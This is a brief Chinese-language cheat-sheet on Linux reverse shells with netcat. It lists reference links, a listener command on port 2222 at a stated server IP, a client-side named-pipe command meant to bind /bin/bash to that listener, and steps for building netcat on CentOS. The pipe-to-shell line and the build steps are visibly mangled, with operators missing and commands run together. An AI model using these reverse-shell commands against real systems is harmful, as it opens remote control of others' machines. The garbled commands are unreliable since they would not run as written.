[姿势]
http://www.91ri.org/6620.html
http://www.waitalone.cn/linux-shell-rebound-under-way.html
[图释]
http://www.219.me/posts/1760
NC方式实现
服务端[IP:114.114.114.114]:
nc -lvnp 2222
客户端:
mknod /tmp/backpipe p/bin/bash 0/tmp/backpipe
CentOS下安装nc:
下载---http://sourceforge.net/projects/netcat/files/
tar xzvf netcat-XXX.tar.gzcd netcat-XXX./configuremakemake install #nc 所在路径 /usr/local/bin/nc